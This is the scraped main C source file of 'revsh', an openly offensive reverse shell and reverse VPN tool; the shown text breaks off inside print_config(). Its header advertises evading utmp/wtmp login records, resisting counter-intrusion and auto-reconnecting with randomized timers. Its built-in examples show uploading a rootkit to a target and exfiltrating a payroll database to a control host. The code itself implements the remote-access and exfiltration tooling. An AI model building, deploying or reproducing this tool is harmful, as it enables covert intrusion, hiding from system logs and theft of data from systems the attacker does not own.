-
Notifications
You must be signed in to change notification settings - Fork 91
/
Copy pathrevsh.c
1036 lines (821 loc) · 27.2 KB
/
revsh.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/***********************************************************************************************************************
*
* revsh
*
* emptymonkey's reverse shell tool with terminal support!
* More than just a reverse shell, now we're a reverse VPN!!!
*
*
* 2013-07-17: Original release.
* 2014-08-22: Complete overhaul w/SSL support.
* 2015-01-16: YACO (Yet another complete overhaul.) Added the internal messaging interface.
* 2016-08-27: YACO (Yet another complete overhaul.) Added proxies, tun/tap support, and cleaned up the broker() loop.
*
*
* The revsh binary is intended to be used both on the local control host as well as the remote target host. It is
* designed to establish a remote shell with terminal support as well as a reverse vpn for tunneling.
*
*
* Features:
* * Reverse Shell.
* * Bind Shell.
* * Terminal support.
* * Unicode support.
* * Handle window resize events.
* * Circumvent utmp / wtmp. (No login recorded.)
* * Process rc file commands upon login.
* * OpenSSL encryption with key based authentication baked into the binary.
* * Anonymous Diffie-Hellman encryption for use without key management.
* * Ephemeral Diffie-Hellman encryption for use with key managment. (Now with more Perfect Forward Secrecy!)
* * Cert pinning for protection against sinkholes and mitm counter-intrusion.
* * Connection timeout for remote process self-termination.
* * Randomized retry timers for non-predictable auto-reconnection.
* * Non-interactive mode for transfering files.
* * Proxy support: point-to-point, socks4, socks4a, socks5
* (Note: Only the "TCP Connect" subset of the socks protocol is supported.)
* * TUN / TAP support for forwarding raw IP packets / Ethernet frames.
* * Escape sequence commands to kill non-responsive nodes, or print connection statistics.
*
**********************************************************************************************************************/
/* XXX
- Redo tty main tty io. Implement as a separate process. Use this for escape sequences.
This will fix the case where the inner select() (inside io->remote_read() and
io->remote_write()) doesn't catch escape sequences appropriately.
This also dovetails nicely into abstracting the operator's main tty out of the
flow, so it can be replaced with a more full featured implementation.
-- This, and many other features will be better if I re-write the whole thing
in go with better modularity, multi-threading, better UI, division of labor,
c10k viable, etc. :(
- Add tun/tap support for FreeBSD.
- Add "Certificate Knocking":
-- Manually perform challange response validation of target cert.
--- Kill "client" (target) cert verification during SSL handshake.
--- Change protocol to start with an HTTP request. Random string dir will be sha1sum of target cert.
---- e.g. "GET /a646ceed9e8b7245b616accf5e715fa15093122d HTTP 1.1\n\n"
--- Control sends HTTP response with challenge number encrypted with target private key.
--- Target responds with an HTTP request that is the random string dir and the unencrypted challenge number as a subdir.
---- e.g. "GET /a646ceed9e8b7245b616accf5e715fa15093122d/6222703937 HTTP 1.1\n\n"
--- At this point both ends drop down to the previous revsh protocol.
-- Alternatively, do something similar (mutual challange response) involving cookies.
XXX */
#include "common.h"
char *GLOBAL_calling_card = CALLING_CARD;
volatile sig_atomic_t sig_found = 0;
/* strlen("65535") */
#define PORT_STRING_LEN 5
/***********************************************************************************************************************
*
* usage()
*
* Input: The return code.
* Output: None. (We will exit directly from this function.)
*
* Purpose: Educate the user as to the error of their ways.
*
**********************************************************************************************************************/
void usage(int ret_code){
FILE *out_stream = stdout;
if(ret_code){
out_stream = stderr;
}
fprintf(out_stream, "\nControl:\t%s -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]\n", program_invocation_short_name);
fprintf(out_stream, "Target:\t\t%s [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]\n", program_invocation_short_name);
fprintf(out_stream, "\n\tADDRESS\t\tThe address of the control listener.\t\t(Default is \"%s\".)\n", CONTROL_ADDRESS);
fprintf(out_stream, "\tPORT\t\tThe port of the control listener.\t\t(Default is \"%s\".)\n", CONTROL_PORT);
fprintf(out_stream, "\nCONTROL_OPTIONS:\n");
fprintf(out_stream, "\t-c\t\tRun in \"command and control\" mode.\t\t(Default is target mode.)\n");
#ifndef GENERIC_BUILD
fprintf(out_stream, "\t-a\t\tEnable Anonymous Diffie-Hellman mode.\t\t(Default is Ephemeral Diffie-Hellman.)\n");
# ifdef OPENSSL
fprintf(out_stream, "\t-d KEYS_DIR\tReference the keys in an alternate directory.\t(Default is \"%s\".)\n", KEYS_DIR);
# endif /* OPENSSL */
#endif
fprintf(out_stream, "\t-f RC_FILE\tReference an alternate rc file.\t\t\t(Default is \"%s\".)\n", RC_FILE);
fprintf(out_stream, "\t-s SHELL\tInvoke SHELL as the remote shell.\t\t(Default is \"%s\".)\n", DEFAULT_SHELL);
#ifdef LOG_FILE
fprintf(out_stream, "\t-F LOG_FILE\tLog general use and errors to LOG_FILE.\t\t(Default is \"%s\".)\n", LOG_FILE);
#else
fprintf(out_stream, "\t-F LOG_FILE\tLog general use and errors to LOG_FILE.\t\t(No default set.)\n");
#endif
fprintf(out_stream, "\nTARGET_OPTIONS:\n");
fprintf(out_stream, "\t-t SEC\t\tSet the connection timeout to SEC seconds.\t(Default is \"%d\".)\n", TIMEOUT);
fprintf(out_stream, "\t-r SEC1,SEC2\tSet the retry time to be SEC1 seconds, or\t(Default is \"%s\".)\n\t\t\tto be random in the range from SEC1 to SEC2.\n", RETRY);
fprintf(out_stream, "\nMUTUAL_OPTIONS:\n");
fprintf(out_stream, "\t-k\t\tRun in keep-alive mode.\n\t\t\tNode will neither exit normally, nor timeout.\n");
fprintf(out_stream, "\t-L [LHOST:]LPORT:RHOST:RPORT\n");
fprintf(out_stream, "\t\t\tStatic socket forwarding with a local listener\n\t\t\tat LHOST:LPORT forwarding to RHOST:RPORT.\n");
fprintf(out_stream, "\t-R [RHOST:]RPORT:LHOST:LPORT\n");
fprintf(out_stream, "\t\t\tStatic socket forwarding with a remote listener\n\t\t\tat RHOST:RPORT forwarding to LHOST:LPORT.\n");
fprintf(out_stream, "\t-D [LHOST:]LPORT\n");
fprintf(out_stream, "\t\t\tDynamic socket forwarding with a local listener\n\t\t\tat LHOST:LPORT.\t\t\t\t\t(Socks 4, 4a, and 5. TCP connect only.)\n");
fprintf(out_stream, "\t-B [RHOST:]RPORT\n");
fprintf(out_stream, "\t\t\tDynamic socket forwarding with a remote\n\t\t\tlistener at LHOST:LPORT.\t\t\t(Socks 4, 4a, and 5. TCP connect only.)\n");
fprintf(out_stream, "\t-x\t\tDisable automatic setup of proxies.\t\t(Defaults: Proxy D%s and tun/tap devices.)\n", SOCKS_LISTENER);
fprintf(out_stream, "\t-b\t\tStart in bind shell mode.\t\t\t(Default is reverse shell mode.)\n");
fprintf(out_stream, "\t\t\tThe -b flag must be invoked on both ends.\n");
fprintf(out_stream, "\t-n\t\tNon-interactive netcat style data broker.\t(Default is interactive w/remote tty.)\n\t\t\tNo tty. Useful for copying files.\n");
fprintf(out_stream, "\t-v\t\tVerbose. -vv and -vvv increase verbosity.\n");
fprintf(out_stream, "\t-V\t\tPrint the program and protocol versions.\n");
fprintf(out_stream, "\t-h\t\tPrint this help.\n");
fprintf(out_stream, "\t-e\t\tPrint out some usage examples.\n");
#ifdef GENERIC_BUILD
fprintf(out_stream, "\n\tThis is the GENERIC_BUILD of revsh, which defaults to Anonymous Diffie-Hellman encryption.\n");
fprintf(out_stream, "\tIn order to enable Ephemeral Diffie-Hellman (with Perfect Forward Secrecy) you will need to\n");
fprintf(out_stream, "\tbuild your own copy from source and manage your own keys.\n");
fprintf(out_stream, "\tThe source is available at: https://github.com/emptymonkey/revsh\n");
#endif
fprintf(out_stream, "\n");
exit(ret_code);
}
/***********************************************************************************************************************
*
* examples()
*
* Input: The return code.
* Output: None. (We will exit directly from this function.)
*
* Purpose: Give the user some examples upon request.
*
**********************************************************************************************************************/
void examples(int ret_code){
FILE *out_stream = stdout;
if(ret_code){
out_stream = stderr;
}
fprintf(out_stream, "\n");
fprintf(out_stream, "control host in examples: 192.168.0.42\n");
fprintf(out_stream, "target host in examples: 192.168.0.66\n");
fprintf(out_stream, "\nInteractive example on default port '%s':\n", CONTROL_PORT);
fprintf(out_stream, "\tcontrol:\trevsh -c\n");
fprintf(out_stream, "\ttarget:\t\trevsh 192.168.0.42\n");
fprintf(out_stream, "\nInteractive example on non-standard port '443':\n");
fprintf(out_stream, "\tcontrol:\trevsh -c 192.168.0.42:443\n");
fprintf(out_stream, "\ttarget:\t\trevsh 192.168.0.42:443\n");
fprintf(out_stream, "\nBindshell example:\n");
fprintf(out_stream, "\ttarget:\t\trevsh -b\n");
fprintf(out_stream, "\tcontrol:\trevsh -c -b 192.168.0.66\n");
fprintf(out_stream, "\nNon-interactive file upload example:\n");
fprintf(out_stream, "\tcontrol:\tcat ~/bin/rootkit | revsh -c -n\n");
fprintf(out_stream, "\ttarget:\t\trevsh 192.168.0.42 > ./totally_not_a_rootkit\n");
fprintf(out_stream, "\nNon-interactive file download example:\n");
fprintf(out_stream, "\tcontrol:\trevsh -c -n >payroll_db.tar\n");
fprintf(out_stream, "\ttarget:\t\tcat payroll_db.tar | revsh 192.168.0.42\n");
fprintf(out_stream, "\nNon-interactive file download example across existing tunnel:\n");
fprintf(out_stream, "\tcontrol:\trevsh -c -n 127.0.0.1:2291 >payroll_db.tar\n");
fprintf(out_stream, "\ttarget:\t\tcat payroll_db.tar | revsh 127.0.0.1:2290\n");
fprintf(out_stream, "\n\n");
exit(ret_code);
}
void print_versions(){
printf("\n");
printf("%s Versions\n", program_invocation_short_name);
printf(" Program - v%s\n", REVSH_VERSION);
printf(" Protocol - v%d.%d\n", PROTOCOL_MAJOR_VERSION, PROTOCOL_MINOR_VERSION);
#ifdef GENERIC_BUILD
printf("\n");
printf("\tThis is the GENERIC_BUILD of revsh, which defaults to Anonymous Diffie-Hellman encryption.\n");
printf("\tIn order to enable Ephemeral Diffie-Hellman (with Perfect Forward Secrecy) you will need to\n");
printf("\tbuild your own copy from source and manage your own keys.\n");
printf("\tThe source is available at: https://github.com/emptymonkey/revsh\n");
printf("\n");
#endif
exit(0);
}
/***********************************************************************************************************************
*
* main()
*
* Inputs: The usual argument count followed by the argument vector.
* Outputs: 0 on success. -1 on error.
*
* Purpose: main() parses the configuration and calls the appropriate conductor function.
*
**********************************************************************************************************************/
int main(int argc, char **argv){
int retval;
int opt;
char *tmp_ptr;
size_t tmp_size;
struct proxy_request_node *tmp_proxy_ptr = NULL;
struct proxy_request_node *cur_proxy_ptr = NULL;
char *retry_string = RETRY;
unsigned int seed;
int tmp_fd;
wordexp_t log_file_exp;
int ruid, euid, rgid, egid;
struct sigaction act;
unsigned long tmp_ulong;
unsigned int retry;
struct timespec req;
// First thing, check that our effective user id is also our real. We may be in a suid
// situation where they differ. If so, propagate the euid now before we call the shell
// later on which may choose to drop privs.
ruid = getuid();
euid = geteuid();
if(euid != ruid){
setuid(euid);
}
rgid = getgid();
egid = getegid();
if(egid != rgid){
setgid(egid);
}
/*
* Basic initialization.
*/
/* We will not print errors here, as verbose status has not yet been set. */
if((io = (struct io_helper *) calloc(1, sizeof(struct io_helper))) == NULL){
report_error("main(): calloc(1, %d): %s", (int) sizeof(struct io_helper), strerror(errno));
return(-1);
}
if((config = (struct config_helper *) calloc(1, sizeof(struct config_helper))) == NULL){
report_error("main(): calloc(1, %d): %s", (int) sizeof(struct config_helper), strerror(errno));
return(-1);
}
/* message is used throughout the code as a shorthand for io->message. */
message = &io->message;
/* Set defaults. */
io->first_run = 1;
io->control_proto_major = PROTOCOL_MAJOR_VERSION;
io->control_proto_minor = PROTOCOL_MINOR_VERSION;
io->local_in_fd = fileno(stdin);
io->local_out_fd = fileno(stdout);
io->target = 1;
io->eof = 0;
io->child_sid = 0;
io->proxy_head = NULL;
io->proxy_tail = NULL;
io->escape_state = ESCAPE_NONE;
io->escape_depth = 0;
config->interactive = 1;
config->shell = NULL;
config->rc_file = RC_FILE;
config->keys_dir = KEYS_DIR;
config->bindshell = 0;
config->timeout = TIMEOUT;
config->keepalive = 0;
config->nop = 0;
config->tun = 1;
config->tap = 1;
config->socks = SOCKS_LISTENER;
config->local_forward = LOCAL_LISTENER;
#ifdef NOP
config->nop = 1;
#endif
config->log_file = NULL;
#ifdef LOG_FILE
config->log_file = LOG_FILE;
#endif
#ifdef OPENSSL
io->fingerprint_type = NULL;
config->cipher_list = NULL;
# ifdef GENERIC_BUILD
config->encryption = ADH;
# else
config->encryption = EDH;
# endif
#endif /* OPENSSL */
verbose = 0;
/* Normally I would use the Gnu version. However, this tool needs to be more portable. */
/* Keeping the naming scheme, but setting it up myself. */
if((program_invocation_short_name = strrchr(argv[0], '/'))){
program_invocation_short_name++;
}else{
program_invocation_short_name = argv[0];
}
/* Grab the configuration from the command line. */
while((opt = getopt(argc, argv, "hepbkalcxs:d:f:L:R:D:B:r:F:t:nvV")) != -1){
switch(opt){
case 'h':
usage(0);
break;
case 'e':
examples(0);
break;
/*
* The plaintext case is a debugging feature which should be difficult to use.
* You will need to pass the -p switch from both ends in order for it to work.
* This is provided for debugging purposes only and not advertised. Note:
* This still uses openssl. It just uses the BIO_ routines and has no crypto.
* If what you want is no openssl, you'll need to build the "compatability"
* version avialable through the Makefile.
*/
#ifdef OPENSSL
case 'p':
config->encryption = PLAINTEXT;
break;
case 'a':
config->encryption = ADH;
break;
case 'd':
config->keys_dir = optarg;
break;
#endif /* OPENSSL */
/* bindshell */
case 'b':
config->bindshell = 1;
break;
case 'k':
config->keepalive = 1;
break;
// This flag is called "target" because it will be the target id once we implement
// multiple target nodes. Control will always be id 0, which from a flag perspective
// cleanly translates into "not a target".
case 'l':
case 'c':
io->target = 0;
break;
case 'x':
config->tun = 0;
config->tap = 0;
config->socks = NULL;
config->local_forward = NULL;
break;
case 's':
config->shell = optarg;
break;
case 'f':
config->rc_file = optarg;
break;
case 'L':
case 'R':
case 'D':
case 'B':
if((tmp_proxy_ptr = (struct proxy_request_node *) calloc(1, sizeof(struct proxy_request_node))) == NULL){
report_error("main(): calloc(1, %d): %s", (int) sizeof(struct proxy_node), strerror(errno));
return(-1);
}
if(!cur_proxy_ptr){
cur_proxy_ptr = tmp_proxy_ptr;
config->proxy_request_head = cur_proxy_ptr;
}else{
cur_proxy_ptr->next = tmp_proxy_ptr;
cur_proxy_ptr = tmp_proxy_ptr;
}
cur_proxy_ptr->request_string = optarg;
cur_proxy_ptr->type = PROXY_STATIC;
if(opt == 'D' || opt == 'B'){
cur_proxy_ptr->type = PROXY_DYNAMIC;
}
cur_proxy_ptr->remote = 0;
if(opt == 'R' || opt == 'B'){
cur_proxy_ptr->remote = 1;
}
break;
case 'r':
retry_string = optarg;
break;
case 'F':
config->log_file = optarg;
break;
case 't':
errno = 0;
config->timeout = strtol(optarg, NULL, 10);
break;
case 'n':
config->interactive = 0;
break;
case 'v':
verbose++;
break;
case 'V':
print_versions();
break;
default:
usage(-1);
}
}
// I don't care what you asked for, suppress all output.
// To-Do: Clean up the output. Support a proper stderr. Don't mix the streams.
if(!config->interactive){
verbose = 0;
}
/* Check for bindshell mode from name. */
tmp_ptr = strrchr(argv[0], '/');
if(!tmp_ptr){
tmp_ptr = argv[0];
}else{
tmp_ptr++;
}
if(!strncmp(tmp_ptr, "bindsh", 6)){
config->bindshell = 1;
}
/* Grab the ip address. */
if((argc - optind) == 1){
config->ip_addr = argv[optind];
}else if((argc - optind) == 0){
config->ip_addr = CONTROL_ADDRESS;
}else{
usage(-1);
}
if(config->ip_addr[0] == '\0' || config->ip_addr[0] == ':'){
report_error("main(): ADDRESS cannot be empty!");
usage(-1);
}
// If the operator didn't add the optional port number, add it for him now.
if((tmp_ptr = strchr(config->ip_addr, ':')) == NULL){
// +1 for ':' character.
// +1 for '\0' terminator.
tmp_size = strlen(config->ip_addr) + 1 + PORT_STRING_LEN + 1;
// free() not called. One time allocation core to the process state. No way to change after initialization.
if((tmp_ptr = (char *) calloc(tmp_size + 1, sizeof(char))) == NULL){
report_error("main(): calloc(%d, %d): %s", tmp_size + PORT_STRING_LEN + 1, (int) sizeof(char), strerror(errno));
return(-1);
}
snprintf(tmp_ptr, tmp_size, "%s:%s", config->ip_addr, CONTROL_PORT);
config->ip_addr = tmp_ptr;
}
if(!io->target && config->log_file){
/* Before anything else, let's try and get the log file opened. */
if(wordexp(config->log_file, &log_file_exp, 0)){
report_error("main(): wordexp(%s, %lx, 0): %s", config->log_file, (unsigned long) &log_file_exp, strerror(errno));
return(-1);
}
if(log_file_exp.we_wordc != 1){
report_error("main(): Invalid path: %s", config->log_file);
return(-1);
}
if(config->log_file){
if((io->log_stream = fopen(log_file_exp.we_wordv[0], "a")) == NULL){
report_error("main(): fopen(\"%s\", \"a\"): %s", log_file_exp.we_wordv[0], strerror(errno));
return(-1);
}
}
wordfree(&log_file_exp);
}
/* Grab some entropy and seed rand(). */
if((tmp_fd = open("/dev/urandom", O_RDONLY)) == -1){
report_error("main(): open(\"/dev/urandom\", O_RDONLY): %s", strerror(errno));
return(-1);
}
if((retval = read(tmp_fd, &seed, sizeof(seed))) != sizeof(seed)){
report_error("main(): read(%d, %lx, %d): Unable to fill seed!", tmp_fd, (unsigned long) &seed, (int) sizeof(seed));
return(-1);
}
close(tmp_fd);
srand(seed);
/* The joy of a struct with pointers to functions. We only call "io->remote_read()" and the */
/* appropriate crypto / no crypto version is called on the backend. */
io->remote_read = &remote_read_plaintext;
io->remote_write = &remote_write_plaintext;
#ifdef OPENSSL
if(config->encryption){
io->remote_read = &remote_read_encrypted;
io->remote_write = &remote_write_encrypted;
io->fingerprint_type = EVP_sha1();
switch(config->encryption){
case ADH:
config->cipher_list = ADH_CIPHER;
break;
case EDH:
config->cipher_list = CONTROLLER_CIPHER;
break;
}
}
SSL_library_init();
SSL_load_error_strings();
#endif /* OPENSSL */
pagesize = sysconf(_SC_PAGESIZE);
/* Prepare the retry timer values. */
errno = 0;
config->retry_start = strtol(retry_string, &tmp_ptr, 10);
if(errno){
report_error("main(): strtol(%s, %lx, 10): %s", retry_string, (unsigned long) &tmp_ptr, strerror(errno));
return(-1);
}
if(*tmp_ptr != '\0'){
tmp_ptr++;
}
errno = 0;
config->retry_stop = strtol(tmp_ptr, NULL, 10);
if(errno){
report_error("main(): strtol(%s, NULL, 10): %s", tmp_ptr, strerror(errno));
return(-1);
}
if (signal(SIGPIPE, SIG_IGN) == SIG_ERR) {
report_error("main(): signal(SIGPIPE, SIG_IGN): %s", strerror(errno));
return(-1);
}
// We will occasionally fork() children in certain conditions. We will never handle them directly.
if(signal(SIGCHLD, SIG_IGN) == SIG_ERR){
report_error("main(): signal(SIGCHLD, SIG_IGN): %s", strerror(errno));
return(-1);
}
/* Call the appropriate conductor. */
if(!io->target){
if(verbose){
print_config();
}
do{
retval = do_control();
#ifdef OPENSSL
if(io->ssl){
SSL_shutdown(io->ssl);
}
#endif
clean_io();
if(retval != -1 && config->bindshell && config->keepalive){
if(config->retry_stop){
tmp_ulong = rand();
retry = config->retry_start + (tmp_ulong % (config->retry_stop - config->retry_start));
}else{
retry = config->retry_start;
}
if(verbose){
printf("Retrying connection in %d seconds...\n", retry);
}
report_log("Controller: Retrying connection in %d seconds.", retry);
req.tv_sec = retry;
req.tv_nsec = 0;
nanosleep(&req, NULL);
}
} while((retval != -1 && config->keepalive) || retval == -3);
}else{
do{
retval = do_target();
#ifdef OPENSSL
if(io->ssl){
SSL_shutdown(io->ssl);
}
#endif
clean_io();
if(retval != -1 && !config->bindshell && config->keepalive){
if(config->retry_stop){
tmp_ulong = rand();
retry = config->retry_start + (tmp_ulong % (config->retry_stop - config->retry_start));
}else{
retry = config->retry_start;
}
/* Sepuku when left alone too long. */
memset(&act, 0, sizeof(act));
act.sa_handler = seppuku;
if(sigaction(SIGALRM, &act, NULL) == -1){
report_error("main(): sigaction(%d, %lx, %p): %s", SIGALRM, (unsigned long) &act, NULL, strerror(errno));
return(-1);
}
alarm(config->timeout);
if(verbose){
printf("Retrying in %d seconds...\r\n", retry);
}
req.tv_sec = retry;
req.tv_nsec = 0;
nanosleep(&req, NULL);
act.sa_handler = SIG_DFL;
if(sigaction(SIGALRM, &act, NULL) == -1){
report_error("main(): sigaction(%d, %lx, %p): %s", SIGALRM, (unsigned long) &act, NULL, strerror(errno));
return(-1);
}
alarm(0);
}
} while(retval != -1 && config->keepalive);
}
return(retval);
}
/***********************************************************************************************************************
*
* clean_io()
*
* Input: None.
* Output: None.
*
* Purpose: In keepalive mode, we can't rely on the exit to handle cleanup. Since we may loop forever, let's clean up
* the io struct before reentering the appropriate conductor.
*
**********************************************************************************************************************/
void clean_io(){
struct message_helper *message_ptr;
io->first_run = 0;
io->target_proto_major = 0;
io->target_proto_minor = 0;
io->child_sid = 0;
if(io->target){
close(io->local_in_fd);
io->local_in_fd = 0;
io->local_out_fd = 0;
}
close(io->remote_fd);
io->interactive = 0;
if(io->tty_winsize){
free(io->tty_winsize);
io->tty_winsize = NULL;
}
io->message_data_size = 0;
if(io->message.data){
free(io->message.data);
io->message.data = NULL;
}
memset(&(io->message), 0, sizeof(struct message_helper));
io->eof = 0;
io->init_complete = 0;
while(io->tty_write_head){
message_ptr = io->tty_write_head;
io->tty_write_head = message_ptr->next;
message_helper_destroy(message_ptr);
}
io->tty_io_read = 0;
io->tty_io_written = 0;
#ifdef OPENSSL
if(config->encryption){
if(io->ssl){
SSL_free(io->ssl);
io->ssl = NULL;
}
if(io->dh){
DH_free(io->dh);
io->dh = NULL;
}
if(io->ctx){
SSL_CTX_free(io->ctx);
io->ctx = NULL;
}
}
#else
// nop reference to quiet compiler warnings in the compat build case.
config->nop += 0;
#endif
while(io->proxy_head){
proxy_node_delete(io->proxy_head);
}
io->proxy_tail = NULL;
while(io->connection_head){
connection_node_delete(io->connection_head);
}
io->fd_count = 0;
io->escape_state = ESCAPE_NONE;
io->escape_depth = 0;
}
/*
The man page for POSIX_OPENPT(3) states that for code that runs on older systems, you can define this yourself
easily.
*/
#ifndef FREEBSD
int posix_openpt(int flags){
return open("/dev/ptmx", flags);
}
#endif /* FREEBSD */
/*
Prints the final state of the config_help object.
*/
void print_config(){
struct proxy_request_node *pr_node;
printf("\nLaunching with following configuration:\n\n");
/* We don't print anything when non-interactive, so this is a nop test.
printf("\tInteractive:\t\t");
if(config->interactive){
printf("True");
}else{
printf("False");
}
printf("\n");
*/
printf("\tBindshell:\t\t");
if(config->bindshell){
printf("True");
}else{
printf("False");
}
printf("\n");
printf("\tSOCKS Port:\t\t");
if(config->socks){
printf("%s", config->socks);
}else{
printf("None");
}
printf("\n");
printf("\tTUN:\t\t\t");
if(config->tun){
printf("True");
}else{
printf("False");
}
printf("\n");
printf("\tTAP:\t\t\t");
if(config->tap){
printf("True");
}else{
printf("False");
}
printf("\n");
printf("\tIP Address:\t\t");
if(config->ip_addr){
printf("%s", config->ip_addr);
}else{
printf("None");
}
printf("\n");
printf("\tKeys Directory:\t\t");
if(config->keys_dir){
printf("%s", config->keys_dir);
}else{
printf("None");
}
printf("\n");
printf("\tRC File:\t\t");
if(config->rc_file){
printf("%s", config->rc_file);
}else{
printf("None");
}
printf("\n");
printf("\tShell:\t\t\t");
if(config->shell){
printf("%s", config->shell);
}else{
printf("%s", DEFAULT_SHELL);
}
printf("\n");
printf("\tLocal Forwarder:\t");
if(config->local_forward){
printf("%s", config->local_forward);
}else{
printf("None");
}
printf("\n");
printf("\tLog File:\t\t");
if(config->log_file){
printf("%s", config->log_file);
}else{
printf("None");
}
printf("\n");
printf("\tKeep-alive:\t\t");
if(config->keepalive){
printf("True");
}else{
printf("False");
}
printf("\n");
printf("\tNOPs:\t\t\t");
if(config->nop){
printf("True");
}else{
printf("False");
}
printf("\n");
printf("\tRetry Timer - Min:\t%d\n", config->retry_start);
printf("\tRetry Timer - Max:\t%d\n", config->retry_stop);
printf("\tTimeout:\t\t%d\n", config->timeout);
#ifdef OPENSSL
printf("\tEncryption:\t\t");
switch(config->encryption){
case 0:
printf("\033[01;31mPlaintext\033[00m");
break;
case 1:
printf("\033[01;31mAnonymous Diffie-Hellman\033[00m");
break;
case 2:
printf("Ephemeral Diffie-Hellman");
break;
default:
printf("Invalid!");
break;
}
printf("\n");
printf("\tCipher List:\t\t");
if(config->cipher_list){
printf("%s", config->cipher_list);
}else{
printf("None");
}
printf("\n");
#endif /* OPENSSL */
printf("\tProxies:");
pr_node = config->proxy_request_head;
if(!pr_node){
printf("\t\tNone");
}else{
printf("\n");
while(pr_node){
printf("\t\t\t\t");
switch(pr_node->type){
case PROXY_STATIC:
printf("%7s", "STATIC");